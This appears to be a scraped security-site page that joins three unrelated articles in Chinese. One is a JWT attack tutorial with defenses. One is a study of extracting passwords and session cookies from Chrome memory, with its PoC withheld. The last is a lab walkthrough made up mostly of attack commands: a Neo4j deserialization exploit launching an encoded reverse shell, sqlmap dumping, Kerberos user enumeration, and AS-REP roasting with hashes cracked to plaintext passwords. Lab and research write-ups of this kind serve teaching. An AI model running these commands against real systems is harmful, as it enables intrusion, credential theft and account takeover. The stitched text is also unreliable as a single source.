需要說明的是，為簡單起見，在這些資料中，“JWT”主要是指JWS令牌，儘管所述的一些漏洞也可能適用於JWE令牌。



什麼是JWT攻擊？所謂JWT攻擊，是指用戶向服務器發送修改過的JWT，以實現惡意目的。通常情況下，這個目的是通過冒充已經通過身份認證的另一個用戶，以繞過認證和訪問控制。



JWT攻擊的危害是什麼？ JWT攻擊的影響通常很嚴重。如果攻擊者能夠用任意值創建自己的有效令牌，他們就能夠提升自己的權限或冒充其他用戶，從而完全接管這些用戶的賬戶。



JWT攻擊的漏洞是如何產生的？ JWT漏洞通常是由於應用程序本身對JWT的處理有缺陷而產生的。與JWT有關的各種規範在設計上相對靈活，允許網站開發人員自行決定許多實現細節。這可能會導致他們意外地引入安全漏洞，即使是在使用“身經百戰”的代碼庫時。



這些實現缺陷通常意味著JWT的簽名沒有被正確驗證。這使得攻擊者可以通過令牌的載荷篡改傳遞給應用程序的值。即使簽名得到了嚴格的檢查，它是否真的可以被信任，在很大程度上也取決於服務器的秘鑰是否仍然是“機密的”。如果這個密鑰以某種方式被洩露，或者可以被猜測或破解，那麼攻擊者就可以為任意令牌生成有效的簽名，從而攻陷整個機制。



如何通過Burp Suite處理JWT如果您過去還沒有使用過JWT，我們建議您在嘗試本文中的實驗之前先熟悉Burp Suite的相關功能。



如何利用存在缺陷的JWT簽名驗證根據設計，服務器通常不存儲任何關於其頒發的JWT的信息。相反，每個令牌都是一個完全獨立的實體。雖然這樣做有許多優點，但也引入了一個基本問題——服務器實際上不知道關於令牌的原始內容，甚至不知道原始簽名是什麼。因此，如果服務器沒有正確地驗證簽名，就沒有什麼可以阻止攻擊者對令牌的其他部分進行任意篡改。



例如，考慮一個包含以下聲明的JWT：



{



'username':'carlos',



'isAdmin':false



}如果服務器是根據username來識別會話，那麼，攻擊者就能夠通過修改用戶名來冒充其他已登錄的用戶。同樣，如果isAdmin值被用於訪問控制，攻擊者也可以提通過篡改這個值來實現提權。



在前兩個實驗中，您將看到一些示例，展示了這些漏洞在實際應用程序中的具體表現。



漏洞：接受任意簽名JWT庫通常會提供一個方法來驗證令牌，同時，還會提供另一個方法對其進行解碼。例如，對於Node.js庫jsonwebtoken來說，這兩個方法本別是verify()和decode()。



有時候，開發人員會混淆這兩個方法，只把傳入的令牌傳給decode()方法。這實際上意味著應用程序根本就沒有對簽名進行驗證。



關於通過未驗證的簽名繞過JWT認證的實驗環境，請訪問https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature。



漏洞：接受未簽名的令牌實際上，JWT頭部還包含一個alg參數。該參數的作用，就是告訴服務器對令牌進行簽名時使用的是哪種算法，換句話說，在驗證簽名時需要使用哪種算法。



{



'alg':'HS256',



'typ':'JWT'



}這在本質上是有缺陷的，因為服務器別無選擇，只能隱式地信任提供令牌的用戶的輸入（注意，這些輸入受控於該用戶），而該令牌根本沒有被驗證過。換句話說，攻擊者可以直接影響服務器檢查令牌是否值得信任的方式。



JWT既可以使用一系列不同的算法進行簽名，也可以不簽名。在這種情況下，alg參數被設置為None，表示所謂的'不安全的JWT'。由於這種情況具有顯而易見的安全隱患，因此，服務器通常會拒絕沒有簽名的令牌。然而，由於這種過濾依賴於字符串解析，所以，攻擊者可以使用經典的混淆技術繞過這些過濾器，如混合大寫和非預期的編碼。



需要注意的是，即使令牌是未簽名的，載荷部分也必須以點號結尾。



實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification提供的環境，來練習如何利用有缺陷的簽名驗證機制來繞過JWT認證。暴力破解密鑰某些簽名算法，如HS256（HMAC + SHA-256），會使用一個任意的、獨立的字符串作為秘密密鑰。就像密碼一樣，這個秘密不能被攻擊者輕易猜到或暴力破解，這是至關重要的。否則，他們就能以任意的頭部和載荷值來創建JWT，然後用密鑰重新給令牌簽名。



在實現JWT應用時，開發人員有時會犯一些錯誤，比如忘記改變默認或占位的密碼。他們甚至可能複制和粘貼在網上找到的代碼片段，然後忘記改變作為示例提供的硬編碼的密碼。在這種情況下，攻擊者使用流行的密碼本，輕鬆對服務器的登陸憑據進行暴力破解。



使用hashcat來暴力破解密鑰我們建議使用hashcat對密鑰進行暴力破解。您可以手動安裝hashcat，但它在Kali Linux上是預裝的，可以直接使用。



如果您使用的是Kali中預構建的VirtualBox映像，而不是裸機安裝程序版本，則可能沒有足夠的內存來運行Hashcat程序。



為此，您只需要一個來自目標服務器的有效的、已簽名的JWT，以及一個眾所周知的密碼字典wordlist。然後，可以運行以下命令，將JWT和wordlist作為參數傳入：



hashcat-a0-m16500jwtwordlistHashcat程序會使用密碼字典wordlist中的每個密碼對JWT的頭部和載荷進行簽名，然後將得到的簽名與服務器的原始簽名進行比較。如果任何一個簽名匹配，hashcat就會以下列格式輸出已識別的密碼，以及其他各種細節：



jwt:identified-secret如果多次運行該命令，則需要包含--show標誌以輸出結果。



由於hashcat在您的機器上本地運行，並且不依賴於向服務器發送請求，所以這個過程會非常快，即使在使用龐大的密碼字典Wordlist時也是如此。



一旦確定了密鑰，就可以使用它為您喜歡的任何JWT頭部和載荷生成有效簽名。有關如何利用Burp Suite重新給修改後的JWT簽名的詳細信息，請參見相關章節。



實驗環境：通過弱簽名密鑰繞過JWT身份驗證的實驗，請訪問https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key。



如果服務器使用了非常弱的密碼，甚至能夠用遍歷字符的方式進行暴力破解，而不必使用Wordlist。



JWT頭部參數注入根據JWS規範，只有頭部參數alg是必需的。然而，在實踐中，JWT頭部（也稱為JOSE頭部）通常包含其他幾個參數。以下是攻擊者特別感興趣的參數：



jwk（JSON Web Key）：提供一個表示密鑰的嵌入式JSON對象。 



jku（JSON Web Key Set URL）：提供一個URL，服務器可以從中獲取一組包含正確密鑰的密鑰。 



kid（Key ID）：提供一個ID，在有多個密鑰可供選擇的情況下，服務器可以使用該ID來識別正確的密鑰。根據密鑰的格式，它可能還有一個匹配的kid參數。



正如你所看到的，這些用戶可控制的參數用於告訴接收方服務器在驗證簽名時使用哪些密鑰。在本節中，你將學習如何利用這些參數來注入修改過的JWT，而這些JWT都是用你自己的任意密鑰而非服務器的密鑰來簽名的。



通過jwk參數注入自簽名的JWTJSON Web簽名（JWS）規範描述了一個可選的jwk頭部參數，服務器可以用它將其公鑰直接嵌入JWK格式的令牌本身。



JWKJWK（JSON Web密鑰）是一種標準化的格式，用於將密鑰表示為JSON對象。



下面，我們為大家展示一個JWT頭部示例：



{



'kid':'ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG',



'typ':'JWT',



'alg':'RS256',



'jwk':{



'kty':'RSA',



'e':'AQAB',



'kid':'ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG',



'n':'yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m'



}



}對於不熟悉“公鑰”和“私鑰”這兩個術語讀者，請參閱https://portswigger.net/web-security/jwt/algorithm-confusion#symmetric-vs-asymmetric-algorithms。



理想情況下，服務器應該只使用有限的公鑰白名單來驗證JWT簽名。然而，配置錯誤的服務器有時會使用jwk參數中嵌入的任何密鑰來驗證簽名。



因此，攻擊者可以利用這種行為，用自己的RSA私鑰對修改過的JWT進行簽名，然後在jwk頭部中嵌入對應的公鑰。



雖然我們也可以在Burp中手動添加或修改jwk參數，但JWT編輯器擴展提供了一個非常方便的功能，用於幫助我們測試這個漏洞。



1、在加載該擴展後，在Burp的主選項卡欄中，轉到JWT Editor Keys選項卡。



2、創建一個新的RSA密鑰。



3、向Burp Repeater發送一個包含JWT的請求。



4、在消息編輯器中，切換到擴展生成的JSON Web Token選項卡，並以你喜歡的方式修改令牌的載荷。



5、點擊Attack按鈕，然後選擇Embedded JWK。當收到提示時，選擇新生成的RSA密鑰。



6、發送請求，測試服務器的響應情況。



您也可以通過自己添加jwk頭部來手動執行這種攻擊。然而，您可能還需要更新JWT的頭部參數kid，以匹配嵌入的密鑰的kid。實際上，該擴展的內置攻擊可以替我們完成這個步驟。



實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection，來了解如何通過注入jwk頭部來繞過JWT認證。



通過jku參數注入自簽名的JWT實際上，有些服務器並不會直接使用jwk頭部參數來嵌入公鑰，而是讓你使用jku（JWK Set URL）頭部參數來引用一個包含密鑰的JWK Set。當驗證簽名時，服務器會從這個URL中獲取相關的密鑰。



實際上，所謂JWK Set就是一個JSON對象，其中包含一組表示密鑰的JWK，例如：



{



'keys':[



{



'kty':'RSA',



'e':'AQAB',



'kid':'75d0ef47-af89-47a9-9061-7c02a610d5ab',



'n':'o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ'



},



{



'kty':'RSA',



'e':'AQAB',



'kid':'d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA',



'n':'fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw'



}



]



}像這樣的JWK集有時會通過一個標準的端點對外公開，如/.known/jwks.json。



雖然更安全的網站只會從受信任的域中獲取密鑰，但有時可以利用URL解析的差異來繞過這種過濾機制。關於這方面的例子，請參閱https://portswigger.net/web-security/ssrf#ssrf-with-whitelist-based-input-filters。



實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection，來練習如何通過注入jku頭部來繞過JWT認證。



通過kid參數注入自簽名的JWT服務器可能會使用多個加密密鑰來為不同類型的數據進行簽名，而不僅僅是JWT。出於這個原因，JWT的頭部可能包含一個kid（密鑰ID）參數，以幫助服務器識別在驗證簽名時要使用的密鑰。



驗證密鑰通常被存儲為JWK Set。在這種情況下，服務器可以直接尋找與令牌具有相同kid參數的JWK。然而，JWS規範並沒有為這個ID定義具體的結構：它只是開發人員任意選擇的一個字符串。例如，他們可能使用kid參數來指向數據庫中的一個特定條目，甚至是一個文件的名稱。



如果這個參數也容易受到目錄遍歷的影響，攻擊者就有可能迫使服務器使用其文件系統中的任意文件作為驗證密鑰。



{



'kid':'././path/to/file',



'typ':'JWT',



'alg':'HS256',



'k':'asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc'



}如果服務器也支持使用對稱算法為JWT簽名，這就非常危險了。在這種情況下，攻擊者有可能將kid參數指向一個可預測的靜態文件，然後用一個與該文件內容相匹配的秘密來給JWT簽名。



理論上講，攻擊者可以用任何文件來做這件事，但最簡單的方法之一是使用/dev/null，它存在於大多數Linux系統中。由於這是一個空文件，讀取它時將返回null。因此，用一個Base64編碼的null字節來給令牌簽名將得到一個有效的簽名。



實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal，來練習如何通過kid頭部路徑遍歷漏洞來繞過JWT驗證。



如果服務器將其驗證密鑰存儲在數據庫中，kid頭部參數也是一個潛在的SQL注入攻擊的載體。



其他有趣的JWT頭部參數以下頭部參數也可能是攻擊者感興趣的：



●cty（內容類型）：有時用於聲明JWT載荷中內容的媒體類型。通常情況下，會省略該參數，但底層解析庫可能還是支持它。如果已經找到了繞過簽名驗證的方法，可以嘗試注入cty參數，將內容類型改為text/xml或application/x-java-serialized-object，這有可能為XXE和反序列化攻擊提供新的向量。



●x5c（X.509證書鏈）：有時用於傳遞用於對JWT進行數字簽名的X.509公鑰證書或證書鏈。這個頭部參數可用於注入自簽證書，類似於上面討論的jwk頭部注入攻擊。由於X.509格式及其擴展的複雜性，解析這些證書也很可能會引入漏洞。這些攻擊的細節超出了本文的討論範圍，但要了解更多細節，請參考CVE-2017-2800和CVE-2018-2633漏洞的相關資料。



JWT算法混淆即使服務器使用了攻擊者無法破解的強大密碼，他們仍然可以通過使用開發人員沒有預料到的算法簽名令牌來偽造有效的JWT。這就是所謂的算法混淆攻擊。關於該攻擊方法的詳細介紹，請訪問這篇文章：https://portswigger.net/web-security/jwt/algorithm-confusion。



如何防禦JWT攻擊您可以通過採取以下措施來保護自己的網站免受本文介紹的各種攻擊：



使用最新的庫來處理JWT，並確保開發人員完全了解它是如何工作的，以及所帶來的任何安全影響。現代代碼庫的使用，降低了在代碼實現中引入安全漏洞的可能性，但由於相關規範固有的靈活性，這也不是萬無一失的。



確保對收到的任何JWT進行嚴格的簽名驗證，並考慮邊緣情況，如使用非預期的算法簽名的JWT。



為jku頭部提供允許主機白名單，並嚴格執行。



確保不會受到通過kid頭部參數進行路徑穿越或SQL注入的影響。



JWT處理的其他最佳實踐我們建議在您的應用程序中使用JWT時遵守以下最佳實踐：



始終為頒發的任何令牌設置一個到期日。



盡可能避免通過URL參數發送令牌。



提供aud聲明（或類似內容），以指定令牌的預期接收者。這可以防止它被用在不同的網站上。



讓頒發服務器能夠撤銷令牌（例如，在註銷時）。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
憑證數據（URL/用戶名/密碼）以明文格式存儲在Chrome的內存中。除了登錄特定Web應用程序時動態輸入的數據外，攻擊者還可以使瀏覽器將存儲在密碼管理器(“登錄數據”文件)中的所有密碼加載到內存中。



Cookie的數據（cookie的值+屬性）以明文格式存儲在Chrome的內存中（當相關應用程序被急活時），這包括敏感的會話cookie。



這些信息可以通過在本地設備上運行的標準（非提升）進程有效地提取，並直接訪問Chrome的內存（使用OpenProcess+ReadProcessMemoryAPI）。



提取的數據可用於劫持用戶的帳戶，即使它們受到MFA機制的保護（使用“會話cookie”數據）。



Gmail、OneDrive和GitHub的示例會話劫持是“POC-ed”。



在MicrosoftEdge瀏覽器中發現了類似的漏洞（據推測，其他基於Chromium引擎的瀏覽器也會出現）。



本文描述了對瀏覽器的直接內存訪問攻擊。還有其他公開的竊取這些敏感數據的方法。



為什麼這是一個重要問題：如果一個人接受“假設違規”範式，那麼基於Chromium的瀏覽器處理敏感憑證數據的方式中的漏洞都應該被視為主要的安全風險。緩解措施應處理所有這些漏洞。



ProcessHacker工具（由WenJiaLiu編寫）在這項研究中被證明非常有用。如果你懷疑某個特定字符串存儲在進程的內存中，那麼查找它的快速方法是：



在ProcessHacker.exe中打開該進程；



選擇“內存”選項；



激活“字符串”子選項；



選擇“過濾器”選項並在“包含.”框架中輸入你要查找的字符串；



這是我查找已知密碼時生成的輸出示例（為了保密，我更改了它）：



 1.webp.jpg



ProcessHacker.exe在Chrome內存中識別的已知密碼



如果你返回顯示的內存佈局（當你選擇“內存”選項時），你會發現該字符串位於Private類型的內存部分中：



 2.webp.jpg



查找已知密碼存儲在Chrome內存中的內存塊



深入查看該內存塊，密碼存儲在Private:Commit類型的內存部分中：



 3.webp.jpg



查找已知密碼存儲在Chrome內存中的特定內存部分



根據MSDN，私有內存（MEMORY_BASIC_INFORMATIONType=MEM_PRIVATE）意味著：



 4.webp.jpg



MSDN中的MEM_PRIVATE內存屬性定義



人們可能會認為存儲在此類內存頁面中的數據不能被任何其他進程訪問。令人驚訝的是，這些頁面不能成為“共享內存”的一部分，但其他進程讀取其中的數據沒有問題（通過ReadProcessMemoryAPI）。



可以看到，上述ProcessHacker.exe作為標准進程運行，訪問這些數據沒有問題！



如果這些頁面真的是私有的，那麼這裡描述的攻擊向量將是不可能的。我想知道Chromium的創建者是否（在某些時候）認為敏感數據在存儲在私有內存中時是安全的。



當然，在瀏覽器內存中查找已知字符串並不是什麼大問題。尋找未知字符串怎麼樣？我決定只通過查看進程內存來嘗試找到敏感數據（不嘗試分析程序的開源代碼）。



Chromium內存佈局看起來像是被設計成一個“乾草堆（haystack）”，因此很難找到和“理解”存儲的數據（特別是密碼和cookie值等敏感字符串）。我還遇到了各種蜜罐，它們看起來像是故意創建的，用於生成明文密碼的誤報識別。其中的困難包括：



1.相對大量的瀏覽器進程（例如chrome.exe）。



2.每個進程都分配了大量的虛擬內存（有些超過230GB）。



3.每個進程的內存由許多（有時數百個）“脫節”的小型已提交內存部分組成，這些部分由“保留”部分分隔。



4.大內存“組合”部分，包括許多如上所述的不相交的部分，這些部分實際上是“空的”（不是“真正”使用的）。



5.看起來像密碼或cookie值的字符串（實際字符串的子字符串）。



6.將屬於一個邏輯“記錄”的項目（例如URL+用戶名+密碼）分散到遠程存儲位置。



這可能是所有看起來像是隱藏(“混淆”)的嘗試，而只是正常操作的結果。如上所述，我沒有查看代碼，但我認為他們試圖隱藏敏感數據。



從Chrome內存中提取的明文憑證數據類型



事實證明，通過標準的非特權進程可以很容易地從瀏覽器的內存中有效地提取明文憑證數據。實際上，這意味著：



1.它使用了合理數量的計算機資源（CPU能力、內存）。



2.執行在合理的時間內完成。



3.誤報現象較少。



注意：當描述POC程序的部分時，我知道大多數讀者會期望關鍵功能的技術細節和源代碼片段。由於本博文結尾部分解釋的原因，此信息不會被披露。已開發POC程序以提取以下類型的信息：



1、登錄目標Web應用程序時使用的用戶名+密碼該程序等待用戶登錄特定的Web應用程序（例如Gmail、OneDrive、GitHub等），然後分析捕獲的內存快照以識別用於登錄應用程序的用戶名和密碼。



這有點像一個有效的鍵記錄程序可以實現的功能，但重要的區別是，之前存儲的密碼(例如，在瀏覽器的密碼管理器工具中)，它完全繞過了最初定義時沒有運行的鍵記錄程序，將被我們的程序發現。



該程序查看登錄之前和之後立即拍攝的快照之間的差異，並查找僅出現在“after”內快照中並且看起來像潛在的用戶名和密碼字符串的新字符串。



注意：這是本研究中開發的最複雜的POC程序，它產生了相當多的誤報結果，因為相當多的新字符串出現在“after”內存快照中。



排除這些假陽性案例是可能的（例如，通過識別出現在登錄過程中的常見“單詞”），並且如果想要努力，可以不斷改進。具有諷刺意味的是，密碼越強，就越容易從“噪音”假陽性案例中分離出來(例如，由小寫和大寫字符、數字和特殊符號組成的10個字符的字符串比只有小寫字符的7個字符的字符串更有可能是密碼)。



2、URL+用戶名+密碼在瀏覽器啟動時自動加載到內存中當瀏覽器啟動時，“登錄數據”文件（Chromium存儲保存的密碼）中的一些條目會自動加載到內存中。雖然並非“登錄數據”中的所有條目都必須加載，但最近使用的條目是必須加載的。



“登錄數據”數據庫中的密碼是DPAPI加密的，但是當它們“分散”到內存中時，它們會以明文格式保存。



與前一種情況（上面的“a”）不同，這里分析一組快照就足夠了，因為加載的憑證數據靜態地保留在內存中。



我們開發了一個有效的POC程序，可以從內存中提取這些數據。可能會生成少量誤報項目。同樣，過濾掉誤報情況的算法可以得到顯著和持續的改進。



3、登錄數據中存儲的所有URL+用戶名+密碼記錄可以使瀏覽器的密碼管理器功能將其所有存儲的記錄加載到內存中。我們開發的POC程序可以提取所有加載的記錄。在這種情況下，敏感數據以易於識別的結構排列。



因此，程序對提取的數據有很高的信心，並且在大多數情況下，幾乎沒有誤報條目。



在這種情況下，所有保存的密碼記錄都加載到了Chrome的內存中。他還幫助我發現和分析了各種Chromium內存佈局。



4.屬於特定Web應用程序的所有cookie（包括會話cookie）



該程序等待用戶登錄到一個特定的應用程序(例如，Gmail, OneDrive, GitHub等)。當應用程序會話處於活動狀態時，程序可以從Chrome的內存中提取屬於該會話的所有cookie。這些被盜的cookie可以上傳到不同設備上的瀏覽器中，並且會話可以被盜（繞過任何MFA機制）。



當竊取的cookie被用於劫持會話時，典型的應用程序（例如Gmail）無法識別連接是從新設備還是從新位置建立的。這是因為完全繞過了登錄過程。根據cookie的內容，應用程序假定這是先前經過身份驗證的會話的延續。



值得注意的是，某些應用程序鼓勵其用戶不要退出應用程序。例如，Gmail的會話cookie的有效期為自首次生成之日起兩年。同樣，MicrosoftOneDrive最近開始向其網絡用戶建議他們無需退出會話。在這些情況下，竊取會話cookie的攻擊者可能會在很長一段時間內與真正的所有者“共享”該帳戶。



誤判極為罕見。



負責任的披露和供應商響應我於2021年7月29日向Google報告了此問題：



 10.webp.jpg



谷歌回應



該報告包括Gmail會話劫持的詳細POC，包括從Chrome內存中提取cookie的程序的源代碼。



Chromium.org的回复(WontFix)很快：



 11.webp.jpg



Chromium.org以WontFix狀態關閉問題



這種回應並不令人驚訝，因為其他類似“假設違規”漏洞的報告也收到了類似的回應。



14週後，Chromium公開了我的報告：



 12.webp.jpg



谷歌向公眾發布問題細節



總的來說，Chromium.org表示他們不會修復與物理本地攻擊相關的問題，因為Chrome(或任何應用程序)沒有辦法防禦一個以你的身份登錄你的設備的惡意用戶。雖然這種說法總體上可能是正確的（特別是如果你假設攻擊者可以獲得管理員權限），但我相信竊取敏感憑證應該不像今天這樣容易。因此，如上所述，我的下一篇文章將提出幾種緩解技術，使攻擊更難執行。



在披露後大約一個月，我的程序未能提取cookie數據。事實證明，一般內存佈局已被修改（在Chrome和Edge中）。大約兩個月後，它再次失敗。這一次，“敏感”數據的位置已經改變（同樣，同時針對Chrome和Edge）。



最初的POC程序是為Chrome版本91.0.4472.164開發的：



 13.webp.jpg



原始POC程序的Chrome版本



演示視頻中的POC程序正在訪問Chrome的96.0.4664.45版本：



 14.webp.jpg



演示視頻中用於POC程序的Chrome版本



如上所述，自從我們負責任地披露了這個漏洞以來，已經發現了內存佈局以及cookie值在內存中存儲方式的修改。但是，這些修改非常普遍，並沒有使“憑證竊取”行文變得更加困難。



由於供應商未計劃修復該漏洞，因此共享POC或源代碼不會促進問題的解決，而是可能造成傷害或提升相關威脅。因此，我們決定不發布POC。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
说明
Time是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。
技术
Neo4j、Kerberos、Privilege Elevation、域渗透
第一个flag
外网IP信息收集
start infoscan
(icmp) Target '39.98.236.25' is alive
icmp alive hosts len is: 1
39.98.236.25:22 open
39.98.236.25:1337 open
39.98.236.25:7474 open
39.98.236.25:7473 open
39.98.236.25:7687 open
39.98.236.25:35555 open
alive ports len is: 6
start vulscan
已完成 0/6 [-] webtitle http://39.98.236.25:7473 Get "http://39.98.236.25:7473": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x15\x03\x03\x00\x02\x02P"
[*] WebTitle:http://39.98.236.25:7474  code:200 len:145    title:None
[*] WebTitle:http://39.98.236.25:7687  code:400 len:0      title:None
[*] WebTitle:https://39.98.236.25:7687 code:400 len:0      title:None
已完成 6/6
scan end
neo4j 未授权RCE
Neo4j是一个开源图数据库管理系统。
在Neo4j 3.4.18及以前，如果开启了Neo4j Shell接口，攻击者将可以通过RMI协议以未授权的身份调用任意方法，其中setSessionVariable方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化，所以不受到Java版本的影响。在Neo4j 3.5及之后的版本，Neo4j Shell被Cyber Shell替代。
https://github.com/zwjjustdoit/CVE-2021-34371.jar
java -jar rhino_gadget.jar rmi://39.98.236.25:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3R...NC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"
fjsh2z1zgch14364.png
反弹shell
oqfsglfj3wq14366.png
查找flag
dyziyyv2u1414368.png
获得第一个flag
jvnkavwpvnz14370.png
第二个flag
内网渗透
上传代理和fscan
start infoscan
已完成 0/0 listen ip4:icmp 0.0.0.0: socket: operation not permitted
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.6.12     is alive
(icmp) Target 172.22.6.25     is alive
(icmp) Target 172.22.6.38     is alive
(icmp) Target 172.22.6.36     is alive
[*] Icmp alive hosts len is: 4
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.25:139 open
172.22.6.12:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.36:22 open
172.22.6.38:22 open
172.22.6.36:7687 open
172.22.6.12:88 open
[*] alive ports len is: 11
start vulscan
[+] NetInfo:
[*]172.22.6.25
   [->]WIN2019
   [->]172.22.6.25
[+] NetInfo:
[*]172.22.6.12
   [->]DC-PROGAME
   [->]172.22.6.12
[*] 172.22.6.12    [+]DC XIAORANG\DC-PROGAME        Windows Server 2016 Datacenter 14393
[*] 172.22.6.25          XIAORANG\WIN2019       
[*] 172.22.6.12  (Windows Server 2016 Datacenter 14393)
[*] WebTitle:http://172.22.6.38        code:200 len:1531   title:后台登录
[*] WebTitle:https://172.22.6.36:7687  code:400 len:50     title:None
已完成 11/11
sql注入
访问 http://172.22.6.38，是一个登录页面，抓取数据包
POST /index.php HTTP/1.1
Host: 172.22.6.38
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.22.6.38
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.22.6.38/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close

username=admin&password=111111
使用sqlmap测试注入（过程略）
sqlmap -r 1.txt --dump -T oa_f1Agggg -D oa_db  -batch 
获得第二个flag
hiwkcbfukwb14372.png
里面还有oa_admin表和oa_users表，把users表中的500个用户名收集成字典 username.txt
10jrrodcl2s14374.png
‍‍第三个flag
域用户枚举
在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN，所以当我们没有域凭证时，可以通过Kerberos pre-auth从域外对域用户进行用户枚举
https://github.com/ropnop/kerbrute
proxychains ./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10
kali中用代理一直执行不成功，不出现结果，把文件传到入口机器上，远程执行才出结果
vd3wcwqill314376.png
共有74个用户，做成字典 user.txt
4pikd33n0uq14378.png
AS-REPRoasting
对于域用户，如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证)，此时向域控制器的88端口发送AS-REQ请求，对收到的AS-REP内容重新组合，能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式，接下来可以使用hashcat或是john对其破解，最终获得该用户的明文口令
查找未设置预认证的账号
proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/
xtcjxngipyv14380.png
得到两个账号 wenshao@xiaorang.lab 、zhangxin@xiaorang.lab
$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994

$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7
使用hashcat解密
hashcat -m 18200 --force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994' rockyou.txt
czxxb45iojb14381.png
hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7' rockyou.txt
3yydmacfkab14383.png
这样获得了两个账号和密码
zhangxin@xiaorang.lab/strawberry
wenshao@xiaorang.lab/hellokitty
‍
域环境分析
使用域账号登录 172.22.6.25，上传SharpHound进行数据采集
mhsfp543bw214385.png
SharpHound.exe -c all
导出文件里面有多个json，保存着域内的各种关系
